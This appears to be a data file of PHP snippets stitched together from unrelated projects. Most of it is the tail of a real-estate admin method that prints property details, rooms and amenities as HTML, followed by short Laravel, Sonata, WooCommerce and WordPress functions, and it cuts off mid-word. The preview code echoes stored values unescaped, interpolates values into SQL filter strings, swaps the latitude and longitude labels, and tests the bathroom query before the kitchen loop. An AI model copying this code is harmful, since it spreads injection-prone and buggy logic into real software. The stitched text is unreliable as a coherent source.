$under=\"Individual Property\";$projectname=\"No\"; }\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($propertytabledetails[0]->propertyTypeID)){$propertytypeid=$propertytabledetails[0]->propertyTypeID;\n\t\t\t\t\t\t$propertytypenames=$this->AddProperty_model->getPropertyType(\" AND t2.propertyTypeID=$propertytypeid\");\n\t\t\t\t\t\t$propertytypename=$propertytypenames[0]->propertyTypeName;\n\t\t\t\t\t}else{$propertytypename=\"NO\";}\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($propertytabledetails[0]->propertyName)){$propertyname=$propertytabledetails[0]->propertyName;}else{$propertyname=\"NO\";}\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($propertytabledetails[0]->propertyCurrentStatus)){$propertyCurrentStatus=$propertytabledetails[0]->propertyCurrentStatus;}else{$propertyCurrentStatus=\"NO\";}\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($propertytabledetails[0]->possessionDate)){$propertydate=$propertytabledetails[0]->possessionDate;}else{$propertydate=\"NO\";}\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($propertytabledetails[0]->userID)){$userID=$propertytabledetails[0]->userID;\n\t\t\t\t\t\t\t\t$userdetails=$this->AddProperty_model->getuserforpreview($userID);\n\t\t\t\t\t\t\t\t$useremail='';$usertype='';\n\t\t\t\t\t\t\t\tif(!empty($userdetails)){\n\t\t\t\t\t\t\t\t$usertypeid=$userdetails[0]->userTypeID;\n\t\t\t\t\t\t\t\t$usertypedetails=$this->AddProperty_model->get_user_type(\" and rp_user_types.userTypeID=$usertypeid\");\n\t\t\t\t\t\t\t\t$useremail=$userdetails[0]->userEmail;$usertype=$usertypedetails[0]->userTypeName;}\n\t\t\t\t\t}else{$useremail=\"Not Mentioned\";$usertype=\"Not Mentioned\";}\n\t\t\t\t\t\n\t\t\t\t\t$getpropertyprice=$this->AddProperty_model->Getotherdata('rp_property_price',$filter);\n\t\t\t\t\tif(!empty($getpropertyprice[0]->propertyPrice)){$propertyprice=$getpropertyprice[0]->propertyPrice;}else{$propertyprice=\"Not Mentioned\";}\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($propertytabledetails[0]->isNegotiable)){$isNegotiable=$propertytabledetails[0]->isNegotiable;}else{$isNegotiable=\"Not Mentioned\";}\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($propertytabledetails[0]->propertyDescription)){$propertyDescription=$propertytabledetails[0]->propertyDescription;}else{$propertyDescription=\"Not Mentioned\";}\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($propertytabledetails[0]->propertyLatitude)){$propertyLatitude=$propertytabledetails[0]->propertyLatitude;}else{$propertyLatitude=\"Not Mentioned\";}\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($propertytabledetails[0]->propertyLongitude)){$propertyLongitude=$propertytabledetails[0]->propertyLongitude;}else{$propertyLongitude=\"Not Mentioned\";}\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($propertytabledetails[0]->propertyZipCode)){$propertyZipCode=$propertytabledetails[0]->propertyZipCode;}else{$propertyZipCode=\"Not Mentioned\";}\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($propertytabledetails[0]->propertyLocality)){$propertyLocality=$propertytabledetails[0]->propertyLocality;}else{$propertyLocality=\"Not Mentioned\";}\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($propertytabledetails[0]->propertyAddress1)){$propertyAddress1=$propertytabledetails[0]->propertyAddress1;}else{$propertyAddress1=\"Not Mentioned\";}\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($propertytabledetails[0]->propertyAddress2)){$propertyAddress2=$propertytabledetails[0]->propertyAddress2;}else{$propertyAddress2=\"Not Mentioned\";}\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($propertytabledetails[0]->propertyMetaTitle)){$propertyMetaTitle=$propertytabledetails[0]->propertyMetaTitle;}else{$propertyMetaTitle=\"Not Mentioned\";}\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($propertytabledetails[0]->propertyMetaKeyword)){$propertyMetaKeyword=$propertytabledetails[0]->propertyMetaKeyword;}else{$propertyMetaKeyword=\"Not Mentioned\";}\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($propertytabledetails[0]->propertyMetaDescription)){$propertyMetaDescription=$propertytabledetails[0]->propertyMetaDescription;}else{$propertyMetaDescription=\"Not Mentioned\";}\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($propertytabledetails[0]->propertyKey)){$propertykey=$propertytabledetails[0]->propertyKey;}\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($propertytabledetails[0]->countryID)){$filter=array('countryID'=>$propertytabledetails[0]->countryID,'languageID'=>'1');$key='countryName';$countryname=$this->AddProperty_model->getcountryname('rp_country_details',$filter,$key);$countryname=$countryname[0]->countryName;}else{$countryname=\"Not Mentioned\";}\n\t\t\t\t\tif(!empty($propertytabledetails[0]->stateID)){ $filter1=array('stateID'=>$propertytabledetails[0]->stateID,'languageID'=>'1');$key='stateName';$statename=$this->AddProperty_model->getcountryname('rp_state_details',$filter1,$key); $statename=$statename[0]->stateName;}else{$statename=\"Not Mentioned\";}\n\t\t\t\t\tif(!empty($propertytabledetails[0]->cityID)){ $filter2=array('cityID'=>$propertytabledetails[0]->cityID,'languageID'=>'1');$key='cityName';$cityname=$this->AddProperty_model->getcountryname('rp_city_details',$filter2,$key); $cityname=$cityname[0]->cityName;}else{$cityname=\"Not Mentioned\";}\n\t\t\t\t\t\n\t\t\t\t\techo\"<div style=\\\"margin-top:20px;\\\" class=\\\"row labcol\\\">\n <div class=\\\"col-sm-3\\\">\n <div class=\\\"form-group botbott\\\">\n <label>$purpose</label>\n <p>$purpose</p>\n </div>\n </div>\n <div class=\\\"col-sm-3\\\">\n <div class=\\\"form-group botbott\\\">\n <label> $under</label>\n <p>$under </p>\n </div>\n </div>\n <div class=\\\"col-sm-3\\\">\n <div class=\\\"form-group botbott\\\">\n <label>Select Project</label>\n <p>$projectname</p>\n </div>\n </div>\n <div class=\\\"col-sm-3\\\">\n <div class=\\\"form-group botbott\\\">\n <label>Property Type</label>\n <p>$propertytypename </p>\n </div>\n </div>\n <div class=\\\"col-sm-3\\\">\n <div class=\\\"form-group botbott\\\">\n <label> Property Name</label>\n <p>$propertyname </p>\n </div>\n </div>\n <div class=\\\"col-sm-3\\\">\n <div class=\\\"form-group botbott\\\">\n <label> Current Status</label>\n <p>$propertyCurrentStatus </p>\n </div>\n </div>\n <div class=\\\"col-sm-3\\\">\n <div class=\\\"form-group botbott\\\">\n <label> Date</label>\n <p>$propertydate </p>\n </div>\n </div>\n <div class=\\\"col-sm-3\\\">\n <div class=\\\"form-group botbott\\\">\n <label> User Type</label>\n <p>$usertype </p>\n </div>\n </div>\n <div class=\\\"col-sm-3\\\">\n <div class=\\\"form-group botbott\\\">\n <label> $usertype</label>\n <p>$useremail </p>\n </div>\n </div>\n <div class=\\\"col-sm-3\\\">\n <div class=\\\"form-group botbott\\\">\n <label> User Plan</label>\n <p>$userplan </p>\n </div>\n </div>\n <div class=\\\"col-sm-3\\\">\n <div class=\\\"form-group botbott\\\">\n <label> Price</label>\n <p>$propertyprice </p>\n </div>\n </div>\n <div class=\\\"col-sm-3\\\">\n <div class=\\\"form-group botbott\\\">\n <label> Negotiable </label>\n <p>$isNegotiable </p>\n </div>\n </div>\n </div>\n <div style=\\\"margin-top:20px;\\\" class=\\\"row labcol\\\">\n <div class=\\\"col-md-12 col-sm-12 col-xs-12\\\">\n <div class=\\\"form-group botbott\\\">\n <label>Description</label>\n <p>$propertyDescription.</p>\n </div>\n </div>\n </div>\";\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\tif(!empty($propertytypeid))\n\t\t\t{\n\t\t\t\t$AttributesGroup=$this->AddProperty_model->Getattributesgroups($propertytypeid);\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($AttributesGroup))\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\t$atti=1;\n\t\t\t\t\t\tforeach($AttributesGroup as $AttributesGroups)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$Attribute=$this->AddProperty_model->GetAttributes($AttributesGroups->attributeGroupID);\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\techo \" <div style=\\\"margin-top:20px;\\\" class=\\\"row labcol\\\">\n\t\t\t\t\t\t\t\t\t\t<h2 class=\\\"StepTitle\\\">$AttributesGroups->name</h2>\";\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tif(!empty($Attribute))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\tforeach($Attribute as $Attributes)\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\tif($Attributes->attrName !=\"Amenities\" )\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$Attributeoption=$this->AddProperty_model->GetAttributesoption($Attributes->attributeID);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\tif(!empty($propertyid))\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$checkattri=$this->AddProperty_model->Shownoofbedrooms('rp_property_attribute_values',array('propertyID'=>$propertyid,'attributeID'=>$Attributes->attributeID));\n\t\t\t\t\t\t\t\t\t\t\t\t\tif(!empty($checkattri)){\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$attoptval=$checkattri[0]->attrDetValue;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif($Attributes->attrInputType==\"multiselect\"){ \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$attoptval1=explode('#|#',$checkattri[0]->attrDetValue);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$attoptval=implode(',',$attoptval1);\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$attoptval='NO';\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$attoptval='No';\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\techo\"<div class=\\\"col-sm-3 martop15\\\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\\\"form-group botbott\\\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<label>$Attributes->attrName</label>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<p>$attoptval </p>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</div>\";\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t\t\t\t\techo\"List Is !empty!!\";\n\t\t\t\t\t\t\t\t\t\t\t}\n \n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\techo'\t\t</div>';\n \n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}else{\n\t\t\t\t\t\techo\"List Is !empty!!\";\n\t\t\t\t\t}\n\t\t\t}\n\t\t\t\t\t\n \n\t\t\t\t\t\n echo\" <div style=\\\"margin-top:20px;\\\" class=\\\"row labcol\\\">\n <h2 class=\\\"StepTitle\\\">Amenities</h2>\";\n\t\t\t\t\t $Attributeoption=$this->AddProperty_model->GetAttributesoption(6);\n\t\t\t\t\t $getamenities=$this->AddProperty_model->Getotherdata('rp_property_attribute_values',array('propertyID'=>$this->input->post('propertyid'),'attributeID'=>6));\n\t\t\t\t\t\t\t\t\tif(!empty($getamenities)){\n\t\t\t\t\t\t\t\t\t\t$amenitiescheckvalues=explode(\"#|#\",$getamenities[0]->attrOptionID);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tforeach($Attributeoption as $Attributeoptions){\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t echo\" <div class=\\\"col-sm-3 martop15\\\">\n <div class=\\\"form-group botbott\\\">\n <label> $Attributeoptions->attrOptName </label>\";\n\t\t\t\t\t\t \n\t\t\t\t\t\t if(!empty($amenitiescheckvalues)){ if(in_array($Attributeoptions->attrOptionID,$amenitiescheckvalues)){echo\"<p>YES </p>\";}else{echo\"<p>NO</p>\";}}else{echo\"<p>NO</p>\";}\n \n echo\" </div>\n </div>\";\n\t\t\t\t\t\t\t\t\t}\n echo\"</div>\";\n\t\t\t\t \n echo' <div style=\"margin-top:20px;\" class=\"row labcol\">\n <h2 class=\"StepTitle\">Property Location </h2>\n <div class=\"col-sm-3 martop15\">\n <div class=\"form-group botbott\">\n <label> Address1 </label>';\n echo\" <p>$propertyAddress1 </p>\";\n echo' </div>\n </div>\n\t\t\t\t\t <div class=\"col-sm-3 martop15\">\n <div class=\"form-group botbott\">\n <label> Address2 </label>';\n echo\" <p>$propertyAddress2 </p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-3 martop15\">\n <div class=\"form-group botbott\">\n <label>Locality </label>';\n echo\" <p>$propertyLocality </p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-3 martop15\">\n <div class=\"form-group botbott\">\n <label>Country </label>';\n echo\" <p>$countryname </p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-3 martop15\">\n <div class=\"form-group botbott\">\n <label>State </label>';\n echo\" <p>$statename </p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-3 martop15\">\n <div class=\"form-group botbott\">\n <label> City / Area </label>';\n echo\"<p>$cityname </p>\";\n echo'</div>\n </div>\n <div class=\"col-sm-3 martop15\">\n <div class=\"form-group botbott\">\n <label>Zip / Postal Code </label>';\n echo\" <p>$propertyZipCode </p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-3 martop15\">\n <div class=\"form-group botbott\">\n <label>Latitude </label>';\n echo\" <p>$propertyLongitude </p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-3 martop15\">\n <div class=\"form-group botbott\">\n <label>Longitude </label>';\n echo\" <p>$propertyLatitude </p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-3 martop15\">\n <div class=\"form-group botbott\">\n <label>Status </label>\n <p>Active </p>\n </div>\n </div>\n </div>\n <div style=\"margin-top:20px;\" class=\"row labcol\">\n <h2 class=\"StepTitle\">Meta Details </h2>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label> Title </label>';\n echo\" <p>$propertyMetaTitle</p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Meta Keywords </label>';\n echo\" <p>$propertyMetaKeyword </p>\";\n echo'</div>\n </div>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Meta Description </label>';\n echo\"<p>$propertyMetaDescription </p>\";\n\t\t\t\t\t\t \n\t\t\t\t\n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t echo' </div>\n </div>\n </div>';\n\t\t\t\t\t\n\t\t\t\t\t$getroomdetails=$this->AddProperty_model->Getotherdatafromnewdb('rp_dbho_bed_room',array('propertyID'=>$this->input->post('propertyid')));\n if(!empty($getroomdetails)){\n\t\t\t\t\t\t $count=1;\n\t\t\t\t\t\t foreach($getroomdetails as $getroomdetailss){\n\t\t\t\t\t\t\t$bedothers=explode(\",\",$getroomdetailss->others);\n echo'<div style=\"margin-top:20px;\" class=\"row labcol\">';\n echo\" <h2 class=\\\"StepTitle\\\">Bed Room $count</h2>\";\n echo' <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label> Flooring Type </label>';\n echo\" <p>$getroomdetailss->flooringType </p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>AC </label>';\n\t\t\t\t\t\t if(in_array(\"AC\", $bedothers)){ $ac=\"YES\";}else{$ac=\"NO\";}\n echo\" <p>$ac </p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Bed </label>';\n\t\t\t\t\t\t if(in_array(\"Bed\", $bedothers)){ $Bed=\"YES\";}else{$Bed=\"NO\";}\n echo\"<p>$Bed</p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Dressing Table </label>';\n\t\t\t\t\t\t if(in_array(\"DressingTable\", $bedothers)){ $DressingTable=\"YES\";}else{$DressingTable=\"NO\";}\n echo\"<p>$DressingTable</p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Wardrobe </label>';\n\t\t\t\t\t\t if(in_array(\"Wardrobe\", $bedothers)){ $Wardrobe=\"YES\";}else{$Wardrobe=\"NO\";}\n echo\" <p>$Wardrobe</p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>False Seiling </label>';\n\t\t\t\t\t\t if(in_array(\"FalseCeiling\", $bedothers)){ $FalseCeiling=\"YES\";}else{$FalseCeiling=\"NO\";}\n echo\"<p>$FalseCeiling</p>\";\n echo' </div>\n </div>\n </div>';\n\t\t\t\t\t\t\t \n\t\t\t\t\t\t$count++; }\n\t\t\t\t\t }\n\t\t\t\t\t \n\t\t\t\t\t $getlivingroomdetails=$this->AddProperty_model->Getotherdatafromnewdb('rp_dbho_living_room',array('propertyID'=>$this->input->post('propertyid')));\n if(!empty($getlivingroomdetails)){\n\t\t\t\t\t\t $count=1;\n\t\t\t\t\t\t foreach($getlivingroomdetails as $getlivingroomdetailss){\n\t\t\t\t\t\t\t$livingothers=explode(\",\",$getlivingroomdetailss->others);\n echo'<div style=\"margin-top:20px;\" class=\"row labcol\">';\n echo\" <h2 class=\\\"StepTitle\\\">Living Room </h2>\";\n echo' <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label> Flooring Type </label>';\n echo\" <p>$getlivingroomdetailss->flooringType </p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Sofa </label>';\n\t\t\t\t\t\t if(in_array(\"Sofa\", $livingothers)){ $Sofa=\"YES\";}else{$Sofa=\"NO\";}\n echo\" <p>$Sofa </p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Dining Table </label>';\n\t\t\t\t\t\t if(in_array(\"DiningTable\", $livingothers)){ $DiningTable=\"YES\";}else{$DiningTable=\"NO\";}\n echo\"<p>$DiningTable</p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>AC </label>';\n\t\t\t\t\t\t if(in_array(\"AC\", $livingothers)){ $AC=\"YES\";}else{$AC=\"NO\";}\n echo\"<p>$AC</p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Shoe Rack </label>';\n\t\t\t\t\t\t if(in_array(\"ShoeRack\", $livingothers)){ $ShoeRack=\"YES\";}else{$ShoeRack=\"NO\";}\n echo\" <p>$ShoeRack</p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>TV </label>';\n\t\t\t\t\t\t if(in_array(\"TV\", $livingothers)){ $TV=\"YES\";}else{$TV=\"NO\";}\n echo\"<p>$TV</p>\";\n echo' </div>\n </div>\n </div>';\n\t\t\t\t\t\t\t \n\t\t\t\t\t\t$count++; }\n\t\t\t\t\t }\n \n\t\t\t\t\t\n\t\t\t\t\t$getbathroomdetails=$this->AddProperty_model->Getotherdatafromnewdb('rp_dbho_bath_room',array('propertyID'=>$this->input->post('propertyid')));\n if(!empty($getbathroomdetails)){\n\t\t\t\t\t\t $count=1;\n\t\t\t\t\t\t foreach($getbathroomdetails as $getbathroomdetailss){\n\t\t\t\t\t\t\t$bathothers=explode(\",\",$getbathroomdetailss->others);\n echo'<div style=\"margin-top:20px;\" class=\"row labcol\">';\n echo\" <h2 class=\\\"StepTitle\\\">Bath Room $count</h2>\";\n echo' <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label> Flooring Type </label>';\n echo\" <p>$getbathroomdetailss->flooringType </p>\";\n echo' </div>\n </div>';\n\t\t\t\t\t \n\t\t\t\t\t echo '<div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label> Hot Water Supply </label>';\n echo\" <p>$getbathroomdetailss->hotwatersupply </p>\";\n echo' </div>\n </div>';\n\t\t\t\t\t \n\t\t\t\t\t echo '<div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label> Toilet </label>';\n echo\" <p>$getbathroomdetailss->toilet </p>\";\n echo' </div>\n </div>';\n\t\t\t\t\t\t\n echo'<div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Glass Partition </label>';\n\t\t\t\t\t\t if(in_array(\"GlassPartition\", $bathothers)){ $GlassPartition=\"YES\";}else{$GlassPartition=\"NO\";}\n echo\" <p>$GlassPartition </p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Bath Tub </label>';\n\t\t\t\t\t\t if(in_array(\"BathTub\", $bathothers)){ $BathTub=\"YES\";}else{$BathTub=\"NO\";}\n echo\"<p>$BathTub</p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Axhaust fan </label>';\n\t\t\t\t\t\t if(in_array(\"ExhaustFan\", $bathothers)){ $ExhaustFan=\"YES\";}else{$ExhaustFan=\"NO\";}\n echo\"<p>$ExhaustFan</p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Windows </label>';\n\t\t\t\t\t\t if(in_array(\"Windows\", $bathothers)){ $Windows=\"YES\";}else{$Windows=\"NO\";}\n echo\" <p>$Windows</p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Shower Curtain </label>';\n\t\t\t\t\t\t if(in_array(\"ShowerCurtain\", $bathothers)){ $ShowerCurtain=\"YES\";}else{$ShowerCurtain=\"NO\";}\n echo\"<p>$ShowerCurtain</p>\";\n echo' </div>\n </div>\n\t\t\t\t\t <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Cabinet </label>';\n\t\t\t\t\t\t if(in_array(\"Cabinet\", $bathothers)){ $Cabinet=\"YES\";}else{$Cabinet=\"NO\";}\n echo\"<p>$Cabinet</p>\";\n echo' </div>\n </div>\n </div>';\n\t\t\t\t\t\t\t \n\t\t\t\t\t\t$count++; }\n\t\t\t\t\t }\n\t\t\t\t\t \n\t\t\t\t\t $getkitchendetails=$this->AddProperty_model->Getotherdatafromnewdb('rp_dbho_kitchen',array('propertyID'=>$this->input->post('propertyid')));\n if(!empty($getbathroomdetails)){\n\t\t\t\t\t\t $count=1;\n\t\t\t\t\t\t foreach($getkitchendetails as $getkitchendetailss){\n\t\t\t\t\t\t\t$kitchenothers=explode(\",\",$getkitchendetailss->others);\n echo'<div style=\"margin-top:20px;\" class=\"row labcol\">';\n echo\" <h2 class=\\\"StepTitle\\\">Kitchen </h2>\";\n echo' <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Platform </label>';\n echo\" <p>$getkitchendetailss->platformType </p>\";\n echo' </div>\n </div>';\n\t\t\t\t\t \n\t\t\t\t\t echo '<div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Cabinet </label>';\n echo\" <p>$getkitchendetailss->cabinet </p>\";\n echo' </div>\n </div>';\n\t\t\t\t\t \n\t\t\t\t\t /* echo '<div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label> Toilet </label>';\n echo\" <p>$getkitchendetailss->toilet </p>\";\n echo' </div>\n </div>'; */\n\t\t\t\t\t\t\n echo'<div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Refrigerator </label>';\n\t\t\t\t\t\t if(in_array(\"Refrigerator\", $kitchenothers)){ $Refrigerator=\"YES\";}else{$Refrigerator=\"NO\";}\n echo\" <p>$Refrigerator </p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Water purifier </label>';\n\t\t\t\t\t\t if(in_array(\"Waterpurifier\", $kitchenothers)){ $Waterpurifier=\"YES\";}else{$Waterpurifier=\"NO\";}\n echo\"<p>$Waterpurifier</p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Loft </label>';\n\t\t\t\t\t\t if(in_array(\"Loft\", $kitchenothers)){ $Loft=\"YES\";}else{$Loft=\"NO\";}\n echo\"<p>$Loft</p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Gas Pipline </label>';\n\t\t\t\t\t\t if(in_array(\"GasPipline\", $kitchenothers)){ $GasPipline=\"YES\";}else{$GasPipline=\"NO\";}\n echo\" <p>$GasPipline</p>\";\n echo' </div>\n </div>\n <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Microwave </label>';\n\t\t\t\t\t\t if(in_array(\"Microwave\", $kitchenothers)){ $Microwave=\"YES\";}else{$Microwave=\"NO\";}\n echo\"<p>$Microwave</p>\";\n echo' </div>\n </div>\n\t\t\t\t\t <div class=\"col-sm-4 martop15\">\n <div class=\"form-group botbott\">\n <label>Chimaey </label>';\n\t\t\t\t\t\t if(in_array(\"Chimaey\", $kitchenothers)){ $Chimaey=\"YES\";}else{$Chimaey=\"NO\";}\n echo\"<p>$Chimaey</p>\";\n echo' </div>\n </div>\n </div>';\n\t\t\t\t\t\t\t \n\t\t\t\t\t\t$count++; }\n\t\t\t\t\t }\n \n\t\t\t\t\t if(!empty($propertykey)){\n\t\t\t\t\techo'<div class=\"title_right\">\n <div class=\"input-group pull-right\"> ';\n echo\" <a href=\\\"http://$this->severname/india/en/sale/apartment-for-sale.htm/$propertykey/srchdet/preview/\\\" target=\\\"_blank\\\" class=\\\"btn btn-success taright\\\">View Preview</a>\";\n\t\t\techo' </div>\n </div>';\n\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t}", "public function create()\n {\n $extras = Extra::all();\n return view(\"admin.properties.create\", compact(\"extras\"));\n }", "protected function fillProperties()\n {\n foreach ($this as $key => $value) {\n if ($this->isPrivate($key)) {\n continue;\n }\n $this->currentProperties[\"{$key}\"] = $value;\n $this->newProperties[\"{$key}\"] = $value;\n }\n }", "protected function configureShowFields(ShowMapper $showMapper)\n {\n $showMapper\n ->add('nom')\n ->add('affiche')\n ->add('annule')\n ->add('nbPlace')\n ->add('reserveMembre')\n ->add('prix')\n ->add('date')\n ->add('dateLimite');\n }", "public function showings()\n\t{\n\t\treturn $this->hasMany('App\\PropertyShowing');\n\t}", "public function show()\n {\n //\n $user_id = Auth::user()->id;\n $properties = DB::table('properties')->get()->where('user_id',$user_id);\n return view('user.property.allproperties', ['properties' => $properties]);\n }", "public function show_settings() {\n\n\t\twoocommerce_admin_fields( $this->get_settings() );\n\t}", "protected function getFieldsFromShowItem() {}", "private function establish_display_settings() {\n\t\t$this->background = \"background-color: $this->color_primary\";\n\t\t$this->border = \"border: 1px solid $this->color_accent\";\n\t\t$this->href = $this->generate_follow_link();\n\n\t}", "function initData() {\n\t\t$navigationMenuItemDao = DAORegistry::getDAO('NavigationMenuItemDAO');\n\t\t$navigationMenuItem = $navigationMenuItemDao->getById($this->navigationMenuItemId);\n\n\t\tif ($navigationMenuItem) {\n\t\t\t$this->_data = array(\n\t\t\t\t'path' => $navigationMenuItem->getPath(),\n\t\t\t\t'title' => $navigationMenuItem->getTitle(null),\n\t\t\t\t'url' => $navigationMenuItem->getUrl(),\n\t\t\t\t'menuItemType' => $navigationMenuItem->getType(),\n\t\t\t);\n\t\t\t$this->setData('content', $navigationMenuItem->getContent(null)); // Localized\n\t\t} \n\t}", "public function show(){\n locateAndInclude('bForm_Avatar_vm');\n parent::show();\n }", "public function _dados_para_view() {\n $data = get_object_vars($this);\n unset($data['controller']);\n unset($data['components']);\n unset($data['Session']);\n unset($data['RequestHandler']);\n $this->controller->set('seguranca_data', $data);\n }", "protected function configureShowFields(ShowMapper $showMapper)\r\n {\r\n $showMapper\r\n ->add('id')\r\n ->add('language', null, array('label' => 'Language'))\r\n ->add('translation', null, array('label' => 'Translation'))\r\n ;\r\n }", "public function display() {\n\t\techo \"<input id='\" . esc_attr( $this->setting_id ) . \"' type='hidden' name='\" . esc_attr( $this->setting_id ) . \"' value='\" . esc_attr( wp_json_encode( $this->get(), JSON_UNESCAPED_UNICODE ) ) . \"'>\";\n\t}", "function 